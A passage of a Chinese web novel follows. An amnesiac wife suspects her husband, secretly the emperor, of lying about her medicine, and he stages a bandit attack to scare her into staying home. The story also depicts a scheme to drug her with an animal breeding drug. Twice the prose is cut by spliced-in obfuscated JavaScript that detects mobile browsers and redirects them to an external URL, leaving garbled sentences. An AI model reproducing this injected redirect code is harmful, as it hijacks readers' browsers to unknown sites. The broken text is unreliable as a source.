待锦书离去,沈遥从榻上睁眼,转身至净室,翻窗悄悄离开屋子,重新往后罩房去。 沈遥动静不大,一路上也未遇到洒扫的仆妇,一路顺利到了后罩房,顺着屋子的窗缝一间间看去,最后找到了那被罚的丫鬟。 她轻轻推开那间屋子的门,一股浓浓血腥,连带着失禁的味道飘来,小丫鬟趴在床上闭着眼睛重重喘息,双唇发白,满脸通红,呼吸愈发微弱,可好在没死。 听到沈遥的动静,她吃力地睁开双眼,见来人后一惊,动了动手指,却没力爬起。 沈遥压了压她手,“行了,趴着别动。” “多、多谢、谢、夫人。” 沈遥看着她身上还未清理的血迹,温声问:“你叫什么?” “蔓、蔓儿。”蔓儿有气无力,细若蚊音,似乎这几句话已经耗费了所有。 沈遥感到这屋子极为闷热,似蒸笼一般。 一边犹豫着,一边环视一周后,靠近她几分,“我来,是有事儿想问你,你无需说话,只需点头,或是摇头。” 蔓儿半眯着眼睛,带着畏惧,不解地等待。 沈遥单刀直入问:“你此次受罚,可是因为没有处理干净药渣?” 蔓儿神色变换,躲开沈遥视线,垂下眸子不敢说话,不知在思考什么。 沈遥温声笑道:“你的伤很严重,看起来又发了热,下人通常用不得郎中,也不会得赐药,但若你如实回答我,我便派郎中来与你治伤。” 蔓儿一怔,瞥了一眼沈遥,最后又垂眸摇摇头,算是回了她问题。 沈遥沉吟不语,片刻后,又问:“这杖刑,可是时衍亲下的?” 蔓儿这次没有犹豫很久,飞快地摇了摇头,却一直不敢抬眼。 她的回答在沈遥意料之内。 这丫鬟应是未说实话。 沈遥无奈叹息一声,起身后又看了一眼趴在床上费力喘息的蔓儿,最后走出那间后罩房。 甫一踏出房门,便遇到路过此地的管事全叔。 人一把年纪,嘴角两个白胡须再加上弓着的背,像只弯虾。 全叔见到沈遥从那丫鬟房中出来后,立刻后退一大步福身,“夫人尊贵,怎来这下人在的地方?” 沈遥没有看他,只是又扭头看了一眼关上房门的这间房,道:“这丫头伤的不轻,去寻个郎中来治,再送点儿冰进去。” “……是。”全叔虽心底疑惑,却也不敢有违。 沈遥看着管事全叔,想了想,道:“今儿也是碰巧看到这小丫鬟被罚,身为主母竟不知,便来瞧瞧。” 她眸中闪过一丝暗光,“不过……这小丫鬟仅是盗窃了五匹锦缎,何至于罚得如此重?” 全叔一怔,反应了一会儿后,才附和她,“下人盗窃本就是重罪,朝廷刑律如此,没有发卖算是好的了。不过这点小事,老奴也是怕扰着夫人,下次定会提前禀报夫人。” “这样……罚也都受过了,那这事儿就算过了。我刚才的吩咐,有劳全叔。” “怎敢,怎敢。”全叔弯着脊背告退。 沈遥看着离去的管事,自己也一步步走出后罩房。 五匹锦缎,不过是她随口一说,全叔竟是应了下来。 要么她运气好到,随意编造的借口正好对上了被罚的理由,要么就是全叔和蔓儿在扯谎。 一路上,她开始细细回忆着曾经被时衍一笔带过的叶家姐妹,叶灵翻墙与自己未说完的怪话。 究竟真是记忆减退到忘了,还是时衍在……蒙骗她。 好似眼前萦绕着浓浓白雾,拨散不去,又看不清四周。 快回到内院时,沈遥忽然转了脚步,直接往外院书房而去。 她骤然想到了曾在书房中看到的那个锦盒。 当时夫君想要将其藏起,最后当面放入了书案下的暗格。 究竟有着什么秘密?关于他的重要之人,究竟是谁? 沈遥轻车熟路地找到那处暗格,在拉住卡扣想要将暗格打开时,她又犹豫了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223999|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说实话,她的夫君,对自己真的很好。 自她得了那离魂之症后,原本府中下人皆看不起她,可夫君却给了她应有的地位与尊重。 她手臂和小腿上的外伤,每一次都是夫君亲手为她换药。 他时常将她当作小孩一般,哄着吃饭,哄着喝药,陪她照顾小橘,怕她无聊,想方设法让她开心。甚至最初喝药,都是他先陪着喝过一半,她再喝。 房间中时常备好的新鲜梅子,她伸手便能拿到。 书房这等地方,他也允她随意出入。 可如今她却要来窥视夫君隐私,这样真的好吗? 作为一个没有记忆,依附于夫君的女子,她究竟该相信什么? 沈遥最终还是将手收了回来,没打开那暗格,而是在书案前呆坐许久。 暮色四合时分,宋衍从城里赶回葫芦镇。 他先按往日那般去往内院,却不见沈遥,在锦书慌张的目光下,最后听闻其他下人告知夫人整个下午都在书房。 他来到书房打开门,此时光线已暗,沈遥仍然坐在案前,没有点灯。 宋衍入内后先燃了五六根明亮的蜡烛,才到沈遥身旁,低头一瞥暗格。 没有被打开过的痕迹。 他问:“怎的坐这儿?” 沈遥回神,看他身子从容地斜靠着书案,带着那张天生欠下风流债的俊脸。 “嗯,我来书房等你。” 宋衍似乎有些错愕,拉过一张椅坐在她身旁,笑起来:“想我了?” 沈遥原本严肃的心情被他这般一扯,有些散了形态。 她随意从书案上拿过一只毛笔,想了想,道:“我……我是来写家书的,昨日不是刚收到义父义母的信么。” 宋衍垂眸看了一眼空白一片的纸张,眼神中带着明显的疑问,“写好了?” 沈遥轻咳一声,“这不是怕动了你东西,你不高兴,便等着你回来嘛。” “书房中任何东西,你都可随意取用。” 宋衍轻轻挑眉,顺着她的话道:“写好家书后,我帮你找人送去。” 沈遥哪儿是真来写信的,只是随意找的借口罢了。她并不想说自己来此地是为了窥视那锦盒。 她一时间不知作何反应,看着宋衍自顾自开始帮着她磨墨,又将磨好的砚台推到她跟前。 他春风一笑,“记得在信中多提提为夫。” 沈遥无奈,被这般泼皮打岔后,真不知该如何问起他关于蔓儿与药渣之事。 一番思索后,她落笔于纸上。 沈遥平日认真学过簪花小楷,可她自己更偏爱犀利大气的草书。 写完后,便抬头去看宋衍,见他勾唇道:“诺诺字体龙飞凤舞,果真从未变过。” 沈遥实在不知该如何试探他。 要不,直接问他? 她将手中毛笔放回笔架,看着他,犹豫着开口:“时衍。” “怎么了?” 沈遥沉默良久,与他那双桃花眼相对,似乎过了许久,烛光在两人瞳间摇曳,隐隐约约透着不同寻常。 她说:“你……今日上学,必是辛苦了,今夜早些歇息。” 还是没有直接问出自己的疑惑,或许是因为,她如今不知是否该信任眼前这个,她所依附的男子。 她会自己去查证。 17. 第 17 章 月朗星稀,沈遥好不容易等到锦书彻底离去,才终从床上窸窸窣窣起身,随意披上一件披风,没走正门,而是从净室翻窗离开。 她观察过,每日晚上的那份药渣,会被留至第二日清晨清理。 所以现在一定还有残留放在厨房中。 沈遥实在不愿去怀疑夫君,她想不出,夫君欺骗她的目的究竟为何。 此刻只想去证明,直觉是错的。 翌日东方大白,沈遥很早起床,看着为她系腰带的锦书,淡淡问:“时衍还在府中吗?” 锦书低着头忙活,飞快回了一句:“姑爷天还未亮便离开去城中了。” 许久没有等到沈遥继续说话,她将最后部分系好,退开又道:“姑爷离开时告知今夜会晚归,许是塾中忙碌。” 沈遥“嗯”了一声,故作好奇,“听说近日来了百戏的戏班子,可凭空变鸟,可有此事?” “有的。夫人可是想出街了?” “嗯,我想去看看,从没看过这样的杂百戏。”沈遥下巴冲着门外一扬,“去准备准备,多带些银钱。” 锦书不疑有他,离开后,沈遥立刻到妆奁前,将昨夜偷来包裹着药渣的帕子藏到怀中。 外面来表演百戏的杂技人果真厉害,口吞长剑,空手生花。 锦书嗑着瓜子,看得津津有味,到搞笑戏谑处时,也跟着众人大笑起来。 沈遥反倒三心二意,待精彩之处,杂技人口中喷出一团火球,将连接至台下一串旗子点燃,众人纷纷尖叫着起身鼓掌喝彩。 她趁机溜出瓦子,直往镇上一处医馆快步而去。 此处医馆离瓦子不远,郎中翘着二郎腿,吊儿郎当假寐,哼着小调,听到客人动静睁开眼睛,看是沈遥,竟吓得正襟危坐起来。 “诶哟,这位……客人可是来看病的?” “非也。”沈遥先掏出铜板给郎中递去,直接说明目的,“我今日来,是想请郎中看看我手中这药渣,究竟是何作用。” 说着,她立刻将包裹着的药渣朝郎中递去。 郎中收下钱,接过那小份药渣,仔细翻了翻,又放在鼻下轻嗅,眉头皱成了川字,思索良久。 沈遥扯着自己的袖子,耐心等待,那郎中期间看了她几眼,又继续歪着头凝思。 许久后,他终于道:“这位客人,这份药看起来似是治疗头疾的药物。” “客人可是需要……抓同样的药?” 沈遥微一注目,将那份药渣收回,摇头道不必。 离开医馆后,她又转身看了一眼那郎中,想着他原先的模样,总是感觉不甚靠谱。 好在镇上还有另外两家医馆,沈遥决定纷纷走访一通。 当最后一家看起来相当可靠的白胡子老头,摸着长须,手捧药渣笃定,“这药确实是治疗头疾,并无不妥。” 沈遥道谢,心底终是松了根弦。 这么说,楚绣果真胡说八道,试图离间她与夫君,实在可恶至极。 那她试探全叔的话,难不成真走狗屎运,给她说中了? 沈遥一身轻松后,低着头直接离开,往瓦子方向摸回。 正踩着地上青石板的缝隙一步步向前时,她垂眸一看腰间怔住。 钱袋落医馆了。 沈遥无奈轻轻敲了敲头,转身往医馆撤回,正在门口时,双眼一眯,停滞原地。 只见平日一直跟随夫君身边的书童南风此刻正在医馆之中,也不知与那白胡子郎中说了甚,从他手中接过那份同钱袋一起遗落的药渣。 南风怎会在此地? 他跟着她? 沈遥没躲开,大咧咧站在门口,南风一转身便撞见,整个人僵在原地不知如何动弹。 “夫、夫人?” 沈遥上前从一旁台子上拿过自己的钱袋,系在腰间,看向南风,“你今日没跟着时衍去城中?” 南风算是个不会说谎的,他低下头,不知如何回复。 沈遥上前两步靠近他,手指夹过一片他手中的药渣,放在鼻下轻嗅,直接问:“你今日是,在跟着我啊?” 南风:“……没、没。” 沈遥揉捻着药渣,又问:“时衍让你跟着我的?” 南风:“……” 沈遥一瞥身旁,白胡子郎中早已跑到后堂,不见人影。 她又进一步咄咄逼人:“时衍真厉害啊,提前买通了三个郎中?” 南风飞快地摇头,却仍是不敢抬头看一眼沈遥。 “不过也是,他时家本就是葫芦镇首富,买通郎中算甚,毕竟这世道,有钱能使鬼推磨,是吧?” “……” 她还想再问什么,话还未出口,南风连礼仪都不顾,竟直接低着头,风一般急速往医馆外跑了。 跑了…… 沈遥扭头看向门口时,人已不在了,只剩下来来往往的行人。 所以,时衍果然瞒着她,甚至警惕到让南风跟着。 究竟为何? 他每日让她吃的药,究竟是什么? 如今她也不想再去问郎中了。 眼前是浓浓白雾,什么都看不清,摸不到。 还有什么是她可以去挖掘真相的? 对了,叶家姐妹!叶灵那句没有说完的话! 她记得,曾经叶家姐妹家乡在河南道陈州。 若是这对姐妹离开葫芦镇,又不去长安,那最有可能,便是回了河南道。 她看过游记上的舆图,从关内道去往河南道,最快最方便的是走水路。 沈遥是个急性子,说干就干。 她看了一眼手中药渣,将其随意一扔,那片黑渣子落在地上,被一脚踩过。 她大步走出医馆,往葫芦镇渡口去。 不想去寻此刻焦急万分的锦书,也不想回到时府等待夫君归来,听他编纂的借口。 没有任何记忆,也难以再信任时府任何人。 只想往前走,一直往前走,看看突破白雾后的地方,究竟为何。 渡口人来人往,即便葫芦镇小,漕运却是忙碌,船只上上下下的人不断搬运着一袋袋货物。 当她寻到船只老板,表明要搭船时,那老板难以置信,瞪大了双眼,惊诧道:“姑娘要一人坐船,去河南道?” “是。”沈遥直接将钱袋中的钱递过去。 那老板立刻推拒起来,脸像打了霜的茄子,“这位姑娘啊,不是某有钱不想赚,这、这、这,呃……实在是前些时日连日大雨,镇外有段河道塌了,没船过得了。” 沈遥失望,收回手中钱袋,“那这些货物为何还能走?” 老板无奈长叹:“谁说能走了?也只是货物太多,我们准备先装了货,将船挪到下游。现在所有人都等着那河道修好。” “奈何老天爷不肯啊!姑娘与其求我,不如求求老天吧。” 沈遥抿唇,将视线从表情夸张的老板脸上收回。 老板劝道:“姑娘啊,如今外面不安全,就算河道修好了,说实话,某也没法儿应下姑娘。姑娘一女儿家,男人也不跟着,就这样单身上路,可是很危险的。” “知道了。”沈遥不再抱着走水路的希望。 真是河道塌了,怕也是要等上些时日,可她实在不想等下去。 沈遥离开渡口后,又往马场而去。 她是此地常客,往日租马后,都是在马场中打马跑圈。 马场老板未多问,便放心将马交到沈遥手上,却没想到她按辔上马后,直接一夹马腹,冲出马场往葫芦镇外而去,喊都喊不住,只留下一句“钱找时府拿”。 马场老板整张老脸皱了起来,哪儿有这样的? 沈遥知自己冲动,可若就这样回到时府,过几日后,她没了这份冲动,或许便永远寻不到真相,永远身处白雾之中。 她将马骑得飞快,尘土飞杨,一路上行人见状惊慌避让,看着一闪而过的红衣倩影,皆面面相觑。 沈遥出了葫芦镇,拉着马慢了下来,细细回想着河南道陈州的方位,再确认大致路程后,又继续打马向前。 然而自以为聪慧的沈遥这次低估了自己的无知,她从未出过镇子,平日被人保护得太好,不知镇外物价与情况。 路上见有人卖舆图,说的好一通天花乱坠,便出了整整二两银子买下! 刚转身没走几步,又被人狠狠一撞。 那人好像是个小孩儿,一声不吭跑了,着实没教养。 沈遥面无表情低下头将舆图重新捡起后,发现钱袋被人偷了,卖图的贩子也不见了踪迹。 她气急败坏,骑着马儿在袅无人烟处绕了许久,竟都找不见那小偷。最后只能看着舆图一路走,想找处歇息之所。 路上一自称来自客栈的圆脸婆子说是有可赊账住处,带她前往。 沈遥见天色不早,又迷了路,便同意下来。 “二两银子买了这舆图?姑娘,你被坑了啊!”婆子一路和沈遥聊天,一边替她打抱不平,“姑娘,你可真是个单纯的冤大头!” 沈遥觉得这婆子某些行为有点儿可疑,可人家好心帮自己,她还如此怀疑。若是就这样直接走了,未免惹人心寒。 行路好一会儿,圆脸婆子摇晃着脑袋,让她等在一处,将她马牵走后…… 便再也没回来。 直到等了一个时辰,沈冤大头才意识到自己马财两空,只剩下一张没什么用的图。 一天疲惫,甚是气馁。 好在运气还算不错,一通瞎走还能碰到一茶铺子,没了钱,只能进去厚着脸皮讨了杯水喝。 茶铺老板贼眉鼠眼,色眯眯盯着她,将水给她,又赠了一块饼。沈遥被盯得不适,可身无分文,又渴又饿,还是只得收下道谢。 坐至桌前,她扫了一眼客人们的目光,将身后披风的帽兜戴上,开始喝水。 从医馆出来,到茶铺,全凭着一股怒火与蛮劲儿。 仅仅一个下午,她竟被骗得一无所有,好在没遇到什么人拐子。坐下后,她才开始有些害怕起来,愈发思念起夫君。 说实话,现在想来,她此次出行着实冲动,什么都未带,没有行李,没有幂篱。 别说锦书那小丫头,夫君归家后不见人,怕也是要急死了吧。 她深呼吸一口气,继续将水饮尽,平缓心跳,听着茶客们闲聊。 “诶,你们可听闻附近一处新镇上,出了血鬼。” “听说了,那镇子叫啥来着?卢、卢什么来着?” 一吃着瓜子的茶客吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232529|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出瓜子皮,“这不是重点,重点是,如今坊间传言,天子失德,所以才出现了血鬼。” “失德?”同行的一女茶客面露不屑,“当初新天子入主长安时,我曾在朱雀大街上有幸一睹容颜。年纪轻轻,却气质斐然,那时他骑在高头大马走最前方,那容貌,可俊了!更值得一提的是,这位天子洁身自好,多少贵女拼命想挤进后宫,他却未纳任何一嫔妃,这样的人,怎么可能失德?” 瓜子哥低声讥讽一句女人,又道:“这怎能光看外表,没女人就是洁身自好了?这种情况,通常就是不行!还有啊,你忘了当年长安血流成河的惨状了?屠了多少氏族……” 沈遥听得津津有味,这似乎是她第一次接触葫芦镇之外的消息,算是给她这悲惨一路的一丝慰藉。 她着实没想到,当今天子竟然不能人道!有意思。 然而正在此时,茶铺外忽然传来一大队人马声,气势汹汹,怒吼着往里冲来。 众人还没反应过来,领头人马已经冲进了茶铺,手持大刀,二话不说便开始霹雳乓啷打砸。 茶馆中一女子发出一声尖叫后,所有人才反应过来,逃命般一涌而散。 “是山匪!快跑啊!” 沈遥哪儿遇到过这样的事儿,起身后还被逃跑的人撞了一下,可她也顾不上,只得慌张之下跟随着众人往外跑。 早知如此,当初便乖乖待在葫芦镇了。 那领头人一眼便擞住弯腰窜逃的沈遥,举刀指着,仰天大笑,吼道:“有美人儿!兄弟们,将这美人抢回去,老子要回寨中和她拜堂成亲!” 沈遥扭头,看着那人骑马冲撞而来,她飞快往侧边躲避,被翻倒的椅子一绊,摔在地上,手臂陡然发疼。 这一切发生得太快,她此时才终因疼痛冷静下来,扫视一圈,从后方抄起一根竹竿往外跑。 那人马术精湛,在小茶馆中像条泥鳅,四处翻腾,又来追沈遥。 沈遥早已盯准马腿,想将此人从马上绊下,电光火石间,她一竹竿挥劈至马腿上,虽然马未摔倒,却受了惊,马上之人一时不查,被甩出数丈远,发出一声惨叫。 可那匹受惊的马横冲直撞,直往沈遥来,危机之时,一道健壮身影将她迅速推开,而推她的人被马撞翻,似乎受了不轻的伤。 沈遥定睛一看,才发现是南风。 “南风!”来不及询问他伤势,沈遥便被另一只大手抓住手腕,往外奔去。 她视线还停留在慢慢起身的南风身上,着急喊了一声:“南风受伤了!” “南风无事,快跑!” 熟悉而低沉的声音从身侧传来,沈遥一怔,扭头看去,竟是自己的夫君。 夫君找到她,来救她了! “时衍!你怎么在这儿?” “还不快跑!”宋衍拉着她跑得飞快,手心滚烫,将她一把托上自己的马,再翻身而上,迅速驾马奔离现场。 沈遥心底还担忧着南风,回头看去,发现他已经上了另一匹马,跟在他们身后不远的距离。 他们一路奔逃,离山匪越来越远,转过小路拐角后终于不见任何人追赶。 她呼出一口闷气,这才发觉夫君温热的手紧紧环在自己腰间,身上青草般的冷香源源不断涌入鼻腔,让她从刚才逃命的刺激中,迅速进入到了另一种密闭的刺激之中,心跳猛然加快起来,跟那马儿蹄子似的,啪嗒啪嗒重重踩实在地上。 三人奔行许久,直到一安全的岔路口,才终于拉马而停。 此时夕阳西下,橙色的暖光从远处连绵山峦发散而出,排着队的飞鸟于空中盘旋而过。 宋衍这一路都不发一言,下马后便又将沈遥托下,面无表情地扯下水囊递给她。 沈遥看着一瘸一拐的南风,人还没休息,又为她去找马车,就算再多怀疑,此刻也是心虚与内疚占据制高点。 她静静接过水囊,小口吃着,窥视着面色冷淡的夫君。 他在生气。 她第一次见他生气。 沈遥将水囊递回,宋衍接过后,一人转身到马后,沉默地将东西绑好。 气氛过于凝固。 她一边理着自己有些凌乱的发丝,一边目不转睛地看着他。 抛去一切疑点不说,此次确实是她冲动了,什么准备都没有便想着长途跋涉,还害得南风受了伤。 她小步上前,轻声试探喊他:“时衍……” “不要命了!”宋衍一听她说话,再也绷不住情绪,气到脖子发红,青筋爆出,转身看着她劈头盖脸而来,“有没有与你说过?如今不太平,莫要出葫芦镇!” “……说过。”沈遥声音很小。 “当初迎亲就是遇到山匪。你莫不是嫌我命长,想吓死我!” “……抱歉。” “你的马呢?” “被人骗走了,钱袋也被偷了,只剩下这个。”沈遥默默掏出那张质量极差的舆图,没想到在这一路奔逃中竟坏了个稀碎,“这个二两银子……” “……” 宋衍见她如此,所有话哽咽在喉,什么都说不出了。 可他还是生气。 “傻子。我听闻你离开葫芦镇,便忙着来寻你,着急到连……” 连亵裤都忘穿了! 18. 第 18 章 说回太极宫这边,宋衍连续数日忙碌,从天牢出来后,身上似乎也沾染了腥臭。 今好不容易暂歇,喘口气,便在回葫芦镇前,由内侍伺候入了浴殿清洗一番。 说实话,离开时府时,他心底存着一丝不安。 那日书房中见到沈遥,他便敏锐察觉到,她在怀疑他,却又丝毫不提。 寻锦书一问,才晓得有个不知死活的丫鬟在沈遥面前胡言乱语。 本是想留府中,待在她身边看着,无奈诸事繁杂,最终只得让南风暗中跟着沈遥。 然而,这个成事不足,败事有余的南风,被沈遥撞破后竟逃遁来宫里,后来葫芦镇马场老板又来传信,道沈遥骑马跑了。 看到跪在浴池边的南风,宋衍气不打一处来,只是默默注视着他,舌尖抵着腮帮子,久久沉默不语。 南风双手颤抖,肌肉紧绷,没敢抬头,许久听不到回应,只能硬着头皮道:“陛下莫要担忧,葫芦镇的人在夫人离开后便一路跟随,再加之,夫人身上没有路引,走不了多远。” “朕知道。”宋衍咬牙。 他不担忧沈遥的安危,或是跑了找不到人。 他最怕的是,沈遥如今生了疑,不愿再安心待在葫芦镇,时间久了,还总会想着往外跑。 如今只能,让她亲身经历一番镇外所谓的危险。让这只不听话的猫咪知晓,只有乖乖在他身旁,才最是安全。 他终于冷眸一眯,“安排下去,让东风带人扮作山匪去劫夫人,你随朕去将她带回。” “是。”南风不敢有违。 宋衍起身,快步走出浴池,拒了上前伺候的内侍,“该如何做,无需朕再教你,此事过后,自去领罚。” “是,陛下。” 宋衍满脑子都是沈遥,以至于他亲手换上衣服,骑上马后,才发觉,他竟忘了穿亵裤! 可天色不早,时间紧急,也只能将就着一路打马追人。 他身上的夏裤轻薄,索性有袍子遮掩,只是到了现在,他裤|裆|下仍是凉飕飕的,让他很不安。 如今站在他面前,矮了一个头的沈遥自是不知发生了何事,只是一脸单纯仰头看着他问:“着急到连什么?” 宋衍面不改色,庆幸自己刚才说话不算太快,没将后半句话脱口。 他看了她好一会儿,“着急到连膳都未用。” “今日验书,就光顾着担忧你安危了。” 往日这么谨慎精明的诺诺,没想到她竟单纯到什么人都信,简简单单便被骗光。这么一来,让东风扮山匪倒是显得多此一举。 不乖的诺诺,合该用链子锁在床上,好好看着。 沈遥“哦”了一声,最后从怀中掏出半个干巴巴的饼,给他递去,“吃吧。” 宋衍咽下自己羞耻的想法,将饼接过,放在掌心,见只半个手掌大的饼,忍不住一笑,“这么抠?” 沈遥道:“只有这个,回去后再请你别的。” “嗯。”宋衍坐到一棵树下,小口优雅地将半个饼吃下,就这简单的动作,看起来竟像吃满汉全席一般。 两人一站一坐,沈遥扭开头不想看他,却还是没忍住窥了他几眼。 橙光下,他喉结凸起滚动,手指骨节分明,看起来格外赏心悦目,就是…… 宋衍咀嚼着饼,注意到沈遥快要化为实质的目光,顺着她视线往下看去,整个人身子一僵。 原本大咧咧敞开的腿,慢慢合了起来,他恼羞成怒,“沈遥!你看哪儿?” 沈遥这才突然回神,轻咳一声后将头扭开,等再转过来时,他已经站起身,耳根子发红。 她知晓他尴尬,却忍不住好奇,还是开口问:“时衍,你是不是没穿亵裤啊?” “咳!咳!”宋衍被口中剩下的饼一呛,卡在了嗓子眼处,许久咽不下去,用力掐着自己脖子,涨红了脸。 沈遥见他难受得不行,急忙将马后水囊取下,打开塞子递给他。 宋衍喝了好几大口,才将那破饼彻底咽下,缓了好一会儿,又将唇边水渍擦净。 他直接气笑了,字字诛心:“沈遥,你就仗着比我大,处处欺我。” 他这时候倒是不喊诺诺了。 沈遥自懂他这男人要面子,却也有些不爽快,“时衍,女子最忌讳的,就是被提及芳龄。” “再说了,许多人睡觉都不穿亵衣亵裤。你不就是没穿亵裤,就算有这样的小癖好,我也不会四处宣扬,害羞甚?” “况且,我也不愿看的,要怪就怪你自己刚才箕踞而坐。” 她还是那副云淡风轻,处变不惊的模样。 “……” 怪我咯。 宋衍眼皮轻跳,“你怎知他人私事?” “我自是不知,可话本许多情节都这样写。” 据说夫妻一同衤果睡,乃为情趣。 两个热乎乎的人贴在一起,定会出一身汗,黏黏腻腻的,真不知道哪儿有情趣可言。 “别把脑子给看坏了。”宋衍低喃一句,声音小到自己都听不见。 明明一未真正出阁的姑娘家,懂得倒是比他还多。 沈遥靠近几步:“你说什么?” 宋衍扭开头气急,不想说话了。 南风也正巧也在此时赶马车而来。 宋衍扶着沈遥入了车,自己随即跟上。 南风正驾马时,另一辆马车擦肩而过,里面坐着一身着华服的中年妇人。 待马车远离后,那妇人在放下帘子,满脸疑惑:“是我看错了么?那不是永乐吗?” …… 深夜时府,朱氏趴在后罩房床头呜呼哀哉,六十杖下捡回一条命。 楚绣趁着夜色出去了一趟,回来后手中多了瓶药膏,径直上前掀开被褥为朱氏上药。 朱氏忍痛,看着她的动作咬牙道:“你去寻那马夫了?” 楚绣抿着唇,低头“嗯”了一声。 朱氏气得脸红脖子粗,“诶哟,你傻了吗?放着好好的时爷不要,竟去寻那马夫,若爷知道了,岂不是有你好受的。” 楚绣一言不发蹙眉,如今朱氏和府中不少丫鬟都误会她与时爷关系密切,她也从未解释过,反正那人高高在上,看似温和,实则冷漠,从不在意这些小事儿。 之前本想寻机会将沈遥的橘猫抓了,可如今朱氏暴露,她也不好再去干这事儿。 如今,看着一脸无知的朱氏,她着实怨恨自己为何生在了这屠夫之家。 明明除了脸和家世,样样都不比那沈遥差,却一个天,一个地,一切都得靠她自立根生。 楚绣:“如今再怎么说,夫人就是夫人,这阶级鸿沟,女儿如何都跨越不过去。” 朱氏立即劝慰她:“夫人就是个得了离魂症的疯女人,还整日摆着个脸子,不让爷留宿。你怕甚,就是得趁这段时期好好勾住爷,最好早些生个孩子,那你娘我一辈子也没什么愁的了。” “还有啊,这沈氏也忒嚣张,你明儿可得好好在爷面前吹吹枕边风,好叫我不白挨一顿。” 楚绣受不了朱氏喋喋不休,便决定将计划告知,堵住朱氏的嘴:“娘说的我都知晓。其实……我与马夫是有了计划的,今夜我去寻他,无意知晓了一种叫马儿发情用于配种的药,我劝了他许久,他应下助我把那药下给夫人,他到时毁了夫人清白,爷自然会弃之敝履。” 朱氏听闻后大喜,“那可……” 她话还未说完,门房忽然从外被打开,夜风哗啦啦涌入,接着缓步走进一个男人。 楚绣与朱氏满是恼意,扭头看去竟是南风,瞬间怔在原地。 楚绣起身,柔柔弱弱上前,微笑着想询问何事。 只是当她接近时,倏然间瞪大了眼,惊声尖叫出来。 …… 宋衍翌日原想留在时府,无奈边境军情告急,卯时正便起床,在南风的掌灯下离开,往长安太极宫去。 处理完要事后,外面又已是天黑。 太极殿外静谧,星河鹭起,他一整日未用膳,当终于停歇下来,脑子里想的全是沈遥。 昨日虽暂且留住沈遥在葫芦镇,可他知晓,她的疑虑并未打消。 宋衍沉浸在自己思绪中,大太监胡生上前来禀时,才回过神。 “陛下,沈姑娘殿外求见,已等候多时。” 宋衍一怔,立刻放下手中笔墨坐正,让人宣入殿中。 不一会儿,一身形瘦弱,着藕粉罗裙,月白披帛的女子缓步走入,她长得与沈遥六分相似,气质却全然不同。 在行礼后上前将食盒中的莲子羹摆出,推至宋衍跟前,还散发着温热和淡淡余香。 语气中带着柔和:“听闻陛下连日忙碌,定又忘了用膳,绵绵便亲手做了莲子羹,还请陛下试试。” 面前的女子便是沈遥的妹妹,沈芯,宋衍待她同亲妹。 宋衍的语气露出温柔地“嗯”了一下,却仍透着疏离。 他抬起白瓷小碗,用汤匙舀出,浅尝一口后,便将其放下,拿出巾帕擦拭唇角。 沈芯看着那碗仅动过一口的莲子羹,又想到今日一个时辰的忙碌,心里还是难受起来。 面前的男子有着一张俊美的脸,性子温和,可即便在太极殿温暖的烛光之下,也难掩其中冷淡。 若换成是阿姐做的,他定然不管好吃与否,一 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他更想她,一日不见,思之如狂,他想要快些回葫芦镇,去见他的诺诺。 “可去过长公主府?” 沈芯摇摇头,目光直勾勾盯着他,不愿挪开,“未曾有机会出宫。” 宋衍道:“若你想她,时常去看看。” “多谢陛下。” 沈芯见他似乎想走,又想到什么,立刻道:“对了,听闻驸马那日新婚后,身受重伤,今日来了宫中觐见,不知他身子可好了。” 听她提起此人,宋衍倏然蹙眉,情绪转变之快,不满道:“他们尚未完婚,如何可称驸马?” 沈芯被他惊了一下,瞪着明亮的双眼,没有说话。 宋衍也意识到自己语气有些冲,又稳了稳情绪,温柔道:“朕气那人身为男子,却未能护好阿姐。” 沈芯咬唇点头,想到什么后,又道:“昨日,梁国夫人从甘州来,刚入长安,绵绵想去陪陪她。阿姐失踪,她定是伤心。” 梁国夫人乃梁国公河西节度使的夫人,也是沈遥与沈芯的姨母韩秀华,与她们感情甚笃。 当初宋衍与沈遥投奔河西节度使,是在他们的扶持下夺位。自宋衍登基,便以功勋,册封梁国公及其夫人。 宋衍颔首沉默。 见天色已晚,沈芯不好多留,也不敢再多言,便行礼告退。 宋衍看了一眼书案上剩下一整碗的莲子羹,挥了挥手,胡生立即上前将其端走。正要离开时,又听闻梁国夫人求见,宋衍只得又坐回原处。 韩秀华随着年纪增长,腿脚有些不便,入太极殿后,宋衍便立即赐坐。 “姨母。” 宋衍与沈遥都算是韩秀华带大,即便如今贵为九五之尊,却仍保留了对她的称号与敬意。 韩秀华并不想寒暄,直接道:“陛下,臣妇昨日在来长安的路上,似乎见到永乐的身影了。” 宋衍手指一顿,而后又轻轻敲打着桌面,道:“姨母确定?” 韩秀华思考一番,点头后,又摇头,“其实臣妇也只看到一个侧脸,那侧脸和永乐极为相似。当时她似乎和一个男人在一起,臣妇注意力都在永乐身上了,没注意到那男人模样,回过神后,那马车已经离开。” “臣妇本是不确定,可纠结了一整夜,生怕错过,便来求见陛下。” 宋衍停下敲打桌面的手指,轻笑道:“朕知姨母心系永乐,已派人四处搜寻,或许不日便有其消息。” 韩秀华听后,呼出一口气,“有陛下金口,那臣妇就放心了。” 宋衍笑笑,颔首。 韩秀华又与他随意寒暄一番,便退出太极殿。 宋衍这才起身,带着南风离开太极宫,直接驾快马赶回葫芦镇。 回府第一件事,便是往内院去。 